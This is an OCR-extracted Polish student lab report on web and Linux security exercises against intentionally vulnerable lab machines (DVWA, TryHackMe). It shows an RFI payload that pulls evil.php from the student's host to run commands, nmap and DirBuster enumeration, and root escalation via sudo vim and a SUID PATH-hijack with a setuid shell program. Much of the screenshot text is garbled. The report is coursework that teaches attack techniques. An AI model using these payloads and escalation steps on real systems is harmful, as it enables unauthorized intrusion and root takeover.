(see below). USERGROUPS=yes # If USERGROUPS is "no", then USERS_GID should be the GID of the group # ‘users' (or the equivalent group) on your system. USERS_GID=100 # If DIR_MODE is set, directories will be created with the
specified # mode. Otherwise the default mode 0755 will be used. DIR_MODE=0755 # If SETGID_HOME is "yes" home directories for users with their own # group the setgid bit will be set. This was the default for # versions << 3.13 of
adduser. Because it has some bad side effects we # no longer do this per default. If you want it nevertheless you can # still set it here. SETGID_HOME=no # If QUOTAUSER is set, a default quota will be set from that user with # "edquota -p
QUOTAUSER newuser' QUOTAUSER=""# If SKEL_IGNORE_REGEX is set, adduser will ignore files matching this # regular expression when creating a new home directory SKEL_IGNORE_REGEX="dpkg-(old|new|dist|save)" # Set this if
you want the --add_extra_groups option to adduser to add # new users to other groups. # This is the list of groups that new non-system users will be added to # Default: #EXTRA_GROUPS="dialout cdrom floppy audio video plugdev users" #
| ADD_EXTRA_GROUPS is set to something non-zero, the EXTRA_GROUPS # option above will be default behavior for adding new, non-system users #ADD_EXTRA_GROUPS=1 # check user and group names also against this regular
exoression. #NAME REGEX="Ma-zll-a-z0-9 ™M$"

Rys. 25. Wyswietlenie pliku adduser.conf za pomocg podatnosci LFI.

Zadanie 8

W zadaniu 8 z zadanie przyjeto wyswietlenie zawartosci katalogu domowego ubuntu przy
pomocy RFI. Aby wyswietli¢ skorzystano z danego adres http:
e hitp://10.10.115.219/vulnerabilities/fi/?page=http://10.18.0.223:80/evil.php&cmd=Is
/home/ubuntu/

& C @ O &1 .115.219, evil.php RFI

Kali Linux & KaliTools ¢ KaliDocs N Kali Forums e\ Kali NetHunter

)\ 253013.0vpn
@ RFI

Home evil.php
Instructions

~/RFI
Setup / Reset DB http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/)
10.10.115.219 - - [12/Apr/2023 20:09:19] "GET /evil. HTTP/1.
Brute Force 10.10.115.219 - - [12/Apr/2023 20:09:51] "GET /evil. HTTP/1.0"
Command Injection .10.115.219 - - [12/Apr/2023 20:14:49] "GET /evil. HTTP/1.
.10.115.219 - - [12/Apr/2023 20:14:56] "GET /evil. HTTP/1.
CSRF .10.115.219 - - [12/Apr/2023 :03] "GET /evil. HTTP/1.
.10.115.219 [12/Apr/2023 20:16:21] "GET /evil. HTTP/1.
l:l .10.115.219 [12/Apr/2023 20:16:34] "GET /evil. HTTP/1.0" 2
File Upload .10.115.219 [12/Apr/2023 8 "GET /evil. HTTP/1.

.10.115. [12/Apr/2023 "GET /evil. HTTP/1.0"
Insecure CAPTCHA .10.115. [12/Apr/2023 "GET /evil. HTTP/1.
SeLimesion 10:115.219 © © [12/Ape/3023 20:17:25) “GET Jevilipms WITP/L.
SQL Injection (Blind)
Weak Session IDs
XSS (DOM)
XSS (Reflected)
XSS (Stored)
CSP Bypass
JavaScript

DVWA Security
PHP Info

Ahout |

Rys. 26. Wyswietlone pliki katalogu domowego ubuntu za pomocg RFI.

Jak mozna zaobserwowac w katalogu domowym nie ma zadnych plikéw.

Gdy np. wpiszemy samo Is /home wyswietli nam katalog domowy Ubuntu

- C @ O A& 10.10.115.219 o

Kali Linux # Kali Tools <« KaliDocs XN Kali Forums & Kali NetHunter

ubuntu

PATAY
Rys. 27. Wyswietlone pliki i foldery katalogu /home za pomocg RFI.


http://10.10.115.219/vulnerabilities/fi/?page=http://10.18.0.223:80/evil.php&cmd=ls&20/home/ubuntu
http://10.10.115.219/vulnerabilities/fi/?page=http://10.18.0.223:80/evil.php&cmd=ls&20/home/ubuntu

Lab 5 - Podatnosci w aplikacjach webowych

Zadanie 1

W zadaniu o numerze pierwszym nalezy przeskanowa¢ maszyne Target5 (ip: 10.0.2.15) za
pomocg nmapa i przedstawi¢ wyniki w tabeli. Wyniki prezentujg sie nastepujgco:

L8

kalif@kali: ~

File Actions Edit View Help

Raw packets sent:

Starting Nmap 7

Nmap scan report for

Host is up (
Not shown: &

open
open
open
open
open
open
open
open
open
open
open

1@

osed tcp-ﬁortz (reset)
IWVICE VERSION
ProFTPD

(2.621MB)

3-04-13 89:11 EDT

OpenSSH 7.9pl1 Debian 18+debl@u2 (protocol 2.@)

Apache httpd
2-4 (RPC #1

+ M

=

acl

<1}

il o+ T
T W

i
p
nlockmgr
mountd
mountd
mountd

=

(RPC
(RPC
(RPC
(RPC

ualBox virtual NIC)

Service Info: Host Linux; CPE: cp :linux:linux_kernel

Service detection performed. report any incorrect results at https://
map.org/submit/

Nmap done: 1 IP address (1 host up) scanned in 27.2@ seconds

Rys. 28. Wyniki skanowania maszyny Target5 za pomocg komendy “sudo nmap 10.0.2.15
-p- -sV -oX file.xml”

Port Ustuga Wersja

21 ftp ProFTPD

22 ssh OpenSSH

80 http Apache httpd

111 rpcbind 2-4 (RPC #100000 )

443 http Apache httpd
2049 nfs_acl 3 (RPC #100227)
8009 ajp13 Apache Jserv
8948 http Apache Tomcat
38041 nlockmgr 1-4 (RPC #100021)



39015 mountd 1-3 (RPC #100005)
43911 mountd 1-3 (RPC #100005)
45539 mountd 1-3 (RPC #100005)

Zadanie 2

Kolejnym zadaniem jest przeskanowanie tej samej maszyn z flagg nmap’a -sC polecenie
wyglada teraz nastepujgco: “sudo nmap 10.0.2.15 -p- -sC”. Dodatkowe informacje ktére
otrzymaliSmy mozna zobaczy¢ na ponizszych rysunkach:

sudo hmap 10.0.2. ]

Nmap scan r
Host is up
Not shown:
PORT

|

| ata A -raptor

| 3 33 ata 4096 g 2 6jx779mb

| | 2021 phpinfo.php [NSE: writeable]
| 21 rev.php

| ’1 robots.txt

escription: Unnamed repository; edit this file 'description’ to name the ...
https:/,
http-1s:
TI
65—

T
nfo

1
1
1
l A £,
1
1
1

D445

11/tcp open rpcbind
rpcinf
I sion ort/proto service
rpcbind
rpcbind
rpcbind
rpcbind
nfs
nfs
nfs
nfs
mountd
mountd
mountd
mountd
nlockmgr

Rys. 29. Skan maszyny Target5 z flagg -sC czes¢ 1.



W

File Actions Edit View Help

|_

111/tcp open rpchind

| rpcinfo:

| port/proto service
| 111/tcp  rpcbind
| 111/udp rpcbind
| rpcbind
| rpcbind
| nfs

| ] y nfs

| } L C nfs

| } ; 6 nfs

| mountd
| mountd
| mountd
| mountd
| -
|

|

|

|

|

|

|

epository
Repository descr edi i ile escription’ to name the...
Remotes
https rithub.com/lhartikk/ArnoldcC
open nfs_acl
/ open ajp
jp-methods:
Supported methods: GET HEAD POST OPTIONS
open unknown
open nlockmgr
open mountd
open unknown
open
Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 19.4@ seconds

Rys. 30. Skan maszyny Target5 z flagg -sC czes¢ 2.



Zadanie 3

Kolejnym krokiem jest wykonanie banner grabbing na porcie 21 maszyny Target5 do tego
postuzy nam nastepujgce polecenie: “sudo nmap 10.0.2.15 -p21 -script=banner”. Wyniki
tego polecenia prezentujg sie nastepujgco:

3-84-13 @9:40 EDT

Host is up (@.00042s latency).

PORT  STATE SERVICE

21/tcp open ftp

| _banner: 22@ ProFTPD Server (Debian) [::f
MAC Address: 98:00:2. 6C:3D:93 (Oracle Vir

fff:18.8.2.15]
tualBox wvirtual NIC)

Nmap done: 1 IP address (1 host up) scanned in ©.44 seconds

Rys. 31. Wynik wykonania banner grabbing na porcie 21 maszyny Target5.

Zadanie 4

Kolejnym krokiem jest wykonanie enumeracji katalogow aplikacji webowej uruchomionej na
porcie 8080. Poniewaz wedtug skanu na porcie 8080 nie dziata zadna ustuga uruchomiono
skan na porcie 443. Wykorzystano do tego aplikacje DirBuster. Wyniki prezentujg sie
nastepujgco:
http://10.0.2.15:443/
@ Scan Information |, Results - List View: Dirs: 166 Files: 2428 ' Results - Tree View | /\ Errors: 1

Directory Stucture Response Code | Response Size

=/ 200 1743

#-C3 icons 403 445

-3 6jx7)9mb 200 1127

G- 110208-raptor 200 1133

----- [1 phpinfo.php 200 179

----- [ rev.php 200 179

----- [ robots.txt 200 331

#-C3 manual 200 892

Rys. 32. Wyniki enumeracji katalogéw na porcie 443.



Lab 6 - Eskalacja uprawnien w systemie Linux

Zadanie 1

W tym zadaniu nalezy przeanalizowac system narzedziami takimi jak LinEnum oraz Linpeas

dostepnymi pod tymi linkami:
e LinEnum.sh

e PEASS-ng/linpeas base.sh at master

Aby pobrac skrypty skorzystano z polecenia wget “<link do skryptu>".

LinEnum.sh

)-[~/informations |

linpeas_base.sh

Rys. 33. Skrypty pobrane na maszyne z Kali Linux.

Nastepnie uruchomiono w lokalizacji ze skryptami serwer http za pomocg komendy “python3
-m http.server 80", i w ten sposob za pomoca polecen:

e wget 10.18.0.223:80/LinEnum.sh
e wget 10.18.0.223:80/linpeas_base.sh

Przeniesiono pliki na maszyne na ktérej bedg one uruchomione.

]
File Actions Edit View Help

cichowlasp@cichowlasp: ~/informations x cichowlasp@cichowlasp: ~ x

~/informations

LinEnum.sh linpeas_base.sh

~/informations
http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.102.60 - - [13/Apr/2023 17:59:41] "GET /LinEnum.sh HTTP/1.0" 200 -
10.10.102.60 - - [13/Apr/2023 17:59:54] "GET /linpeas_base.sh HTTP/1.0" 200

0

= user@debian: ~
File Actions Edit View Help

i0),30(dip),44(video),46(plugdev)

userddebian:~$ id

uid=1000(user) gid=1000(user) groups=1000(user),24(cdrom),25(floppy),29(audi
useradebian:~$

user@debian:~$ clear

usergdebian:~$ wget 10.18.0.223:80/LinEnum.sh
--2023-04-13 11:59:41-- http://10.18.0.223/LinEnum.sh
Connecting to 10.18.0.223:80 ... connected.

HTTP request sent, awaiting response... 200 OK

Length: 655104 (640K) [text/x-sh]

Saving to: “LinEnum.sh”

100%[
2023-04-13 11:59:41 (1.24 MB/s) - “LinEnum.sh” saved [655104/655104]

useradebian:~$
--2023-04-13 11:59:53-- http://10.18.0.223/1inpeas_base.sh
Connecting to 10.18.0.223:80 ...
HTTP request sent, awaiting response ...
Length: 694301 (678K) [text/x-sh]
Saving to: “linpeas_base.sh”

connected.
200 OK

100%[
2023-04-13 11:59:54 (1.40 MB/s) - “linpeas_base.sh” saved [694301/694301]
userddebian:~$ 1s

LinEnum.sh linpeas_base.sh myvpn.ovpn
useradebian:~$ i

Rys. 34. Przeniesienie skryptéw na maszyne na ktérej majg one zostaé¢ uruchomione.


https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh
https://github.com/carlospolop/PEASS-ng/blob/master/linPEAS/builder/linpeas_parts/linpeas_base.sh

RED/YELLOWHECE SN I JMT-Tad )¢
: You should take a look to it
: Users with console
: Users without console & mounted devs

Green: Common things (users, groups, SUID/SGID, mounts, .sh scripts, cronj
obs)

LEGEND :

: Your username

Basic information

0S: Linux version -5-amd64 (Debian 2.6.32-48squeeze6) (jmmadebian.org)
(gcc version 4.3.5 (Debian 4.3.5-4) ) #1 SMP Tue May 13 16:34:35 UTC 2014

User & Groups: uid=1000( ) gid=1000( ) groups=1000( ),24(cdrom),25(
floppy),29(audio),30(dip), 44 ,46(plugdev)
Hostname: debian
Writable folder: /dev/shm
[+] /bin/ping
, learn more with -h)
[+] /bin/bash

(linpeas can discover hosts, scan ports, and forward ports. Learn mo
re with -h)
[+] /bin/nc
discover hosts and scan ports, learn more with -h)

(linpeas can discover hosts

(linpeas can

[+] nmap

Rys. 35. Wyniki uzyskane przez uruchomienie skryptu linpeas.sh



usergdebian:~$ cat LinEnum_results.txt

Local Linux Enumeration & Privilege Escalation Script

=]

# www.rebootuser.com
# version 0.982

[-] Debug Info
[+] Thorough tests = Dii?bled

Scan started at:
Thu Apr 13 12:20:18 EDT 2023
HHt SYSTEM

Linux debian 2.6.32-5-amd64 #1 SMP Tue May 13 16:34:35 UTC 2014 x86_64 GNU/L
inux

Linux version 2.6.32-5-amd64 (Debian 2.6.32-48squeeze6) (jmmadebian.org) (gc
c version 4.3.5 (Debian 4.3.5-4) ) #1 SMP Tue May 13 16:34:35 UTC 2014

debian

tHHt USER/GROUP

uid=1000(user) gid=1000(user) groups=1000(user),24(cdrom),25(floppy),29(audi
0),30(dip),44(video),46(plugdev)

Username Port From Latest
root pts/0 192.168.1.2 Sun Aug 25 14:02:49 -0400 2019
user pts/0 ip-10-18-0-223.e Thu Apr 13 11:48:55 -0400 2023

Rys. 36. Wyniki uzyskane przez uruchomienie skryptu linenum.sh

Jak mozemy oba skrypty zwracajg nam informacje o systemach w tym uzytkownikéw wersje
systemu uruchomione ustugi, przydatne lokalizacje itp. W przypadku skryptu linpeas
ciekawg opcjg jest legenda i podkreslanie rzeczy ktére nas powinny zainteresowaé
informujgc nas o potencjalnych podatnosciach. Co ciekawe w historii komend mozemy
zaobserwowac hasto do serwera mysql:

/home/user/.bash_history
1s -al

cat .bash_history
1s -al
mysgl -h somehost.local -uroot -ppasswordl23

Rys. 37. Hasto i nazwa uzytkownika roota dla serwera mysql widoczna w historii terminala.



Zadanie 2

Aby przenies¢ pliki za pomocg komendy scp na maszyne do ktérej tgczyliSmy sie za pomoca
ssh skorzystatem z nastepujacego polecenia:
e “scp LinEnum.sh linpeas_base.sh user@10.10.102.60:~/scp”

File Actions Edit View Help File Actions Edit View Help

cichowlasp@cicho...: ~/informations ~ x cichowlasp@cicho...: ~finformations x  useradebian:~/scp$ 1s
useradebIan:~/scp$ s
sh

LinEnum. linpeas_base.sh
T )-[~/informations ] user@debian:~/scp$ (]
— p LinEnum.sh user@10.10.102.60:/scp/
user®10.10.102.60's password:
scp: dest open "/scp/": Failure
scp: failed to upload file LinEnum.sh to /scp/

| )-[~/informations]
p LinEnum.sh user®10.10.102.60:/scp
user®10.10.102.60's password:
scp: dest open "/scp": Permission denied
scp: failed to upload file LinEnum.sh to /scp

o )-[~/informations]

SCPp LinEnum.sh linpeas_base.sh user®10.10.102.60:~/scp
usera10.10.102.60's password:
LinEnum.sh 100%  46KB 136.7KB/s
linpeas_base.sh 100% 154KB 420.9KB/s

Rys. 38. Przekopiowanie plikdw za pomocg scp na maszyne z zadania TryHackMe.

Zadanie 3

Aby wykona¢ eskalacje uprawnien z wykorzystaniem komendy sudo najpierw powinnismy
wyswietli¢ liste komend, ktére mozemy uruchomi¢ z uprawnieniami administratora bez
uzycia hasta. Do tego postuzy nam polecenie “sudo -I”.

useragdebian:~$ sudo -1
Matching Defaults entries for user on this host:
env_reset, env_keep+=LD_PRELOAD, env_keep+=LD_LIBRARY_PATH

User user may run the following commands on this host:
(root) NOPASSWD: /usr/sbin/iftop
(root) NOPASSWD: /usr/bin/find
(root) NOPASSWD: /usr/bin/nano
(root) NOPASSWD: /usr/bin/vim
(root) NOPASSWD: /usr/bin/man
(root) NOPASSWD: /usr/bin/awk
(root) NOPASSWD: /usr/bin/less
(root) NOPASSWD: /usr/bin/ftp
(root) NOPASSWD: /usr/bin/nmap
(root) NOPASSWD: /usr/sbin/apache2
(root) NOPASSWD: /bin/more

useradebian:~$ I

Rys. 39. Wykonanie polecenia “sudo -I” na maszynie udostepnionej przez TryHackMe.

Jak mozemy zaobserwowac na liscie znajduje sie miedzy innymi program vim. Za pomoca
strony GTEFOBins mozemy znalez¢ polecenia ktére pozwolg nam uzyskac¢ dostep do konsoli
administratora.


https://gtfobins.github.io/gtfobins/vim/#shell

um / vim % Star 8,234

| Shell || Reverse shell || Non-interactive reverse shell || Non-interactive bind shell || File upload || File download || File write || File read |

| Library load || SUID |[ Sudo || Capabilties || Limited SUID |

| Shell

It can be used to break out from restricted environments by spawning an interactive system shell.

(a) vim -¢ ':!/bin/sh’

(b)) vim --cmd ':set shell=/bin/sh|:shell’

(c) This requires that vim is compiled with Python support. Prepend :py3 for Python 3.

vim -c ':py import os; os.execl("/bin/sh", "sh", "-c", "reset; exec sh")'

(d) This requires that vim is compiled with Lua support.

vim -c¢ ':lua os.execute("reset; exec sh")'

Rys. 40. Lista polecer umozliwiajgcych uzyskanie konsoli administratora za pomoca
programu vim z uprawnieniami administratora.

Do podniesienia uprawnien wykorzystano pierwszg komende, ktérej wykonanie zakonczyto
sie sukcesem, przeprowadzenie tego ataku mozna zobaczyé¢ na ponizszym zrzucie ekranu
(Rys. 41):

user@debian:~$ sudo -1

Matching Defaults entries for user on this host:
env_reset, env_keep+=LD_PRELOAD, env_keep+=LD_LIBRARY_PATH

User user may run the following commands on this host:
(root) NOPASSWD: /usr/sbin/iftop
(root) NOPASSWD: /usr/bin/find
(root) NOPASSWD: /usr/bin/nano
(root) NOPASSWD: /usr/bin/vim
(root) NOPASSWD: /usr/bin/man
(rootﬁ NOPASSWD: /usr/bin/awk

(root] NOPASSWD: /usr/bin/less
(root) NOPASSWD: /usr/bin/ftp
(root) NOPASSWD: /usr/bin/nmap
(root) NOPASSWD: /usr/shin/apache2
(root) NOPASSWD: /bin/more
user@debian:~$ sudo /usr/bin/vim -c ':!/bin/sh'

sh-4.1# whoami
root
sh-4.14 |

Rys. 41. Uzyskanie uprawnieh administratora za pomocg programu vim.



Zadanie 4

SUID / SGID Executables - Environment Variables

Podatnos$¢ ta polega na podmianie sciezki np. pliku ktéry chcemy uruchomic z
uprawnieniami administratora na Sciezke pliku ktéry ma takie uprawnienia i jest uruchamiany
z takimi uprawnieniami. W naszym przypadku takie uprawnienia posiada np. plik “suid-env”
znajdujgcy sie w folderze “/usr/local/bin/” i jest odpowiedzialny za uruchomienie serwisu
apache2. Po wykonaniu polecenia “strings suid-env”, mozemy zaobserwowac, ze skrypt nie
korzysta z doktadnej Sciezki programu apache2 co znaczy, ze bedzie to idealny plik do
podniesienia naszych uprawnien.

useradebian: $ strings suid-env
/1ib64/1d-1inux-x86-64.50.2
5q;Xq
__gmon_start__
libc.so.6
' setresgid
setresuid

system
__libc_start_main

GLIBC_2.2.5
| .
fffff.
1$ L
t$(L
| $0H
service apache2 start
user@debian:/usr/local/bin$ |}

Rys. 42. Zawartos¢ pliku suid-env wyswietlona po wykonaniu polecenia “strings suid-env”.

Kolejnym krokiem jest skompilowanie pliku service.c, ktérego kod jest odpowiedzialny za
uruchomienie konsoli.

File Actions Edit View Help

usergdebian:~/tools/suid$ cat service.c
int main() {

setuid(0);
system("/bin/bash -p");

}
user@debian:~/tools/suid$ |}

Rys. 43. Kod znajdujacy sie w pliku service.c.



Po kompilacji za pomocg polecenia “gcc -0 service /home/user/tools/suid/service.c” jesli
wykonamy polecenie “strings service” ukaze nam sie podobny kod jak w przypadku pliku
suid-env (Rys. 42) tylko, ze na kohcu mozemy zaobserwowag linijke /bin/bash -p.

useradexﬁuu~/tools/suid$ strings service

/1ib64/1d-1inux-x86-64.50.2

__gmon_start__

libc.so0.6
setuid

system
__libc_start_main
GLIBC_2.2.5

FFF.

FFFFF.

1$ L

t$(L

| $0H

/bin/bash -p
userddebian:~/tools/suid$ H

Rys. 44. Wynik polecenia strings na skompilowanym pliku service

Ostatnim krokiem jest podmienienie $ciezki egzekuciji pliku service na sciezke pliku suid-env
za pomocg polecenia “PATH=.:$PATH /usr/local/bin/suid-env”. Jesli teraz uruchomimy plik
suid-env powinna uruchomic sie konsola z uprawnieniami administratora co widac na
ponizszym rysunku:

useradebian:~/tools/suid$ strings service
/1ib64/1d-1inux-x86-64.s50.2

_ gmon_start__

libc.so.6

setuid

system

__1libc_start_main

GLIBC_2.2.5

fff.

fffff.

Tte5dlle

t$(L

| $0H

/bin/bash -p I
userpdebian:~/tools/suid$ PATH=.:$PATH /usr/local/bin/suid-env
rootadebian:~/tools/suid# /usr/local/bin/suid-env
root@debian:~/tools/suid# exit

exit

rootgdebian:~/tools/suid# whoami

root

rootadebian:~/tools/suid# |}

Rys. 45. Uzyskanie uprawnieh administratora za pomocg podmiany $ciezki pliku na
przygotowany przez nas program service.



